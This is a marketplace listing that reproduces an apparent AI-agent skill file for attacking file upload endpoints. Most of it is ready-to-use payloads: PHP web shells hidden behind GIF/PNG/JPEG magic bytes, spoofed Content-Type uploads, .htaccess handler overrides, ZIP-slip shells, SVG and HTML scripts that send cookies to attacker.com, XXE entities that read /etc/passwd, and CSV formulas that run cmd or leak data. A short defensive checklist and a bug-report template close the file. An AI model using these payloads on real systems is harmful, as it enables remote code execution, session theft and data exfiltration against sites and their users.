agentsclimarketplace

17 file upload

Skill 0xGhostCAT/claude-ai-cyber-security-skills/skills/17-file-upload

Hunt file upload vulnerabilities — bypass content-type/extension/magic-byte/size filters, achieve XSS via SVG/HTML upload, achieve RCE via .phtml/.jsp/.htaccess, exploit path traversal in filenames, and use polyglot files. Use when an endpoint accepts file uploads.From its SKILL.md

Install
npx -y skills add 0xGhostCAT/claude-ai-cyber-security-skills --skill 17-file-upload

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.

SKILL.md

10.8 KB, ~2.8k tokens by cl100k_base, as published. Nobody here has run it

File Upload Hunting

10 bypass techniques. One always works.

When to invoke

Trigger phrases:

  • "test upload"
  • "file upload bypass"
  • "SVG XSS"
  • "upload RCE"
  • "polyglot file"

Where uploads happen

FeatureAllowed types (claimed)Real attack surface
Avatar / profile picpng, jpgSVG XSS, polyglot
Resume upload (job apps)pdf, docPDF JS, doc macro (rarely), filename injection
Logo upload (custom branding)png, jpg, svgSVG XSS (often unblocked!)
Attachment in messages"all" or limitedRCE via .phtml/.jsp, server-side parsing
Document import (Excel/CSV)xlsx, csvXXE, CSV formula injection
Theme / template uploadzipLFI via path traversal, RCE if executed
Bulk import (CSV/JSON)csv, jsoninjection, server-side parsing
Profile cover bannerpng, jpg, gifpolyglot, GIFAR
Webhook attachmentmiscContent-Type confusion

The 10 bypass techniques

Bypass 1: Extension blacklist

If they block .php, try:

.PHP        ← case
.PhP        ← mixed
.pHp
.phtml      ← alt PHP extension
.phps       ← PHP source
.pht
.php3       ← old
.php4
.php5
.php7
.phar       ← PHP archive
.inc        ← include file
.module     ← Drupal
.HTML       ← serve HTML if no script needed
.svg        ← SVG = JS in some contexts
.htaccess   ← if Apache, change config
.user.ini   ← PHP config override (FPM)

For ASP:

.asp .aspx .ascx .ashx .asa .asax .cer .config

For JSP:

.jsp .jspx .jspf .jsw .jsv

For Node:

.js   ← if served by web server inadvertently
.json ← if processed

Bypass 2: Null byte injection

shell.php%00.png
shell.php\x00.png
shell.php\0.png
shell.php.png

Old but still works on legacy apps.

Bypass 3: Double extension

shell.php.png      ← if extension parser takes last vs first
shell.png.php      ← if .png is whitelisted but server runs .php
shell.png.PhP

Bypass 4: Content-Type spoof

The app may only check Content-Type. Send actual PHP with Content-Type: image/png.

POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
------X--

Bypass 5: Magic byte prefix (polyglot)

Prepend the file's first bytes with a valid image header:

# GIF87a header + PHP code
printf 'GIF89a\n<?php system($_GET["c"]); ?>' > shell.php

# PNG header + PHP code
printf '\x89PNG\r\n\x1a\n<?php system($_GET["c"]); ?>' > shell.php

# JPEG header
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00<?php system($_GET["c"]); ?>' > shell.jpg

These pass getimagesize() AND can be parsed as PHP by some servers.

Bypass 6: SVG XSS (the easy win)

If SVG is allowed, you have stored XSS:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">
        alert(document.domain);
        // Or: fetch('https://attacker.com/?c='+document.cookie);
    </script>
</svg>

Set Content-Type when uploading: image/svg+xml.

Bypass 7: HTML upload → stored XSS

If .html allowed (or .html serves with HTML Content-Type):

<!DOCTYPE html>
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>

Bypass 8: .htaccess upload (Apache)

If .htaccess allowed AND Apache:

# .htaccess
AddHandler php5-script .png
# Now any .png is executed as PHP

Upload .htaccess, then upload shell.png with PHP content.

Bypass 9: ZIP slip / path traversal in filename

filename="../../../../etc/passwd"
filename="../../var/www/html/shell.php"
filename="..\\..\\windows\\system32\\hosts"

Some upload endpoints use the filename for storage path.

For ZIP archives (theme uploads), include traversed paths:

# Create zip with malicious filename
mkdir bad && cd bad
echo '<?php system($_GET["c"]); ?>' > shell.php
zip ../bad.zip ./../../var/www/html/shell.php

Bypass 10: SVG XML External Entity (XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

Or for blind XXE via OOB:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<svg/>

Bonus: Polyglot files

A polyglot is a file that's valid in multiple formats:

  • GIFAR (GIF + JAR) — old but interesting
  • PDF/JS polyglot
  • HTML/SVG polyglot

See arsenal/file-upload-polyglots/ for ready-made polyglots.

Step-by-Step Workflow

1. Identify upload endpoints

From recon:

# Find upload-related endpoints
grep -hiE 'upload|file|attach|avatar|import|logo|banner' endpoints-live.txt > upload-candidates.txt

# Check OPTIONS to see allowed methods
for url in $(cat upload-candidates.txt); do
    curl -sI -X OPTIONS "$url"
done

2. Probe allowed types

Try uploading a benign file of each type and observe:

.png  → 200 (allowed)
.svg  → 200 (allowed!) ← SVG XSS time
.pdf  → 200 (allowed)
.php  → 403 (blocked)
.html → 415 (blocked)

3. Burp Intruder for extension fuzzing

Capture an upload request. Mark the filename. Set payload list to extension wordlist.

Wordlist: arsenal/wordlists/file-upload-extensions.txt

4. Watch for return URL / path

When the upload succeeds, the response often gives the path:

{"url": "https://cdn.target.com/uploads/abc123-shell.php.png"}

Visit it. If it executes as PHP, you have RCE.

5. Filename normalization tricks

The server may rename your file. Try:

shell.php           → renamed to shell.png (server-side, your control lost)
shell.phP           → may not be normalized
shell.php5          → may not be normalized
shell.png.php       → renamed to shell.png.php (last segment "kept")
shell                → no extension; server appends?
shell.              → trailing dot
shell. .php         → multiple spaces
shell.php;.png      → semicolon (IIS quirk)
shell.png/.;/.php   → IIS quirk

6. Race condition on upload

Some apps temporarily store the file before validation:

T+0ms:   upload shell.php → file written to /tmp/shell.php
T+50ms:  validation runs → file deleted
T+25ms:  YOU access /tmp/shell.php → still there → RCE

Use Burp Turbo Intruder to upload + access in tight loop.

7. Test CSV / Excel formula injection

If app exports user data to CSV:

=cmd|'/c calc'!A0
=HYPERLINK("http://attacker.com?d="&A1, "click")
@SUM(1+9)*cmd|'/c calc'!A0
=IMPORTXML("http://attacker.com", "//*")

When victim opens CSV in Excel → command executes (mainly Windows / no auto-disable).

Output template

## Stored XSS via SVG avatar upload

### Summary
The avatar upload endpoint accepts SVG files without sanitizing inline JavaScript. Uploaded SVG renders inline in all places the user's avatar appears (profile, comments, messages), affecting any viewer.

### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Profile → Change avatar
3. Upload the following SVG (filename `avatar.svg`, Content-Type `image/svg+xml`):
   ```xml
   <?xml version="1.0" standalone="no"?>
   <svg xmlns="http://www.w3.org/2000/svg">
     <script type="text/javascript">
       fetch('https://attacker-controlled.com/x?c=' + encodeURIComponent(document.cookie));
     </script>
   </svg>
  1. Submit
  2. View own profile: avatar URL returned: https://cdn.target.com/u/12345/avatar.svg
  3. Any viewer (other users, admins) loading the profile triggers the script

Impact

  • Cookie theft (session_token is NOT HttpOnly — verified)
  • Persistent: SVG remains until changed
  • Self-propagating: profile views happen across the platform (mentions, comments, message threads)
  • Admin viewing → admin session steal → privilege escalation
  • Estimated affected: every user with profile interactions

Suggested fix

  1. Strip or block <script>, event handlers, and external references from uploaded SVGs (use DOMPurify on the server)
  2. OR serve SVG with Content-Disposition: attachment so it doesn't render inline
  3. OR re-render SVGs through a sanitizer/SVG-to-PNG pipeline

## Cross-references

- `[[xss]]` — SVG/HTML upload XSS
- `[[ssrf]]` — image-from-URL endpoints
- `[[ssti]]` — uploaded files as templates
- `[[content-discovery]]` — find upload endpoints

## Common pitfalls

1. **Reporting SVG XSS where SVG renders as image (not inline).** Browser context matters — verify `<img>` vs `<object>` vs direct nav.
2. **Reporting `.php` upload without execution.** "I uploaded shell.php" ≠ "RCE". You need to access the file and see code execute.
3. **CSV formula injection without confirmed admin impact.** Many programs require demonstration of an admin opening the CSV.
4. **Ignoring filename sanitization.** Some apps rename to UUID → your `.php` won't survive.
5. **CDN serves uploads with restrictive Content-Type.** Some CDNs (e.g., S3) always serve `application/octet-stream` for uploaded blobs → no XSS.

## File upload severity guide

| Finding | Severity |
|---|---|
| Stored XSS via SVG/HTML | High |
| RCE via .phtml or similar (file is executed) | Critical |
| RCE via .htaccess upload | Critical |
| Path traversal in filename overwriting system files | Critical |
| XXE via SVG/XML upload | High |
| CSV formula injection w/ admin victim | Medium-High |
| File DoS (large file / many files) | Often informative-only |

## Anti-bypass: when nothing works

If the app uses strict server-side validation:
1. Look for an **alternative upload path** (admin panel may have different validation)
2. Check **mobile API** — sometimes the mobile endpoint is laxer
3. Try **webhook attachment** uploads
4. Check `/import` paths (CSV, JSON, ZIP — different validators)
5. Re-test after **app updates** — new features may add new upload endpoints

## Quick "is upload safe" checklist

A safe upload endpoint:
- ✓ Whitelist (not blacklist) of extensions
- ✓ Re-encode images (strips polyglot payloads)
- ✓ Serves uploads from a separate domain (no cookie scope, no script context)
- ✓ `Content-Disposition: attachment` for non-image types
- ✓ `X-Content-Type-Options: nosniff`
- ✓ Renamed filenames (UUID)
- ✓ Size limits
- ✓ Antivirus / signature scanning

If any of these are missing → potential finding.

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.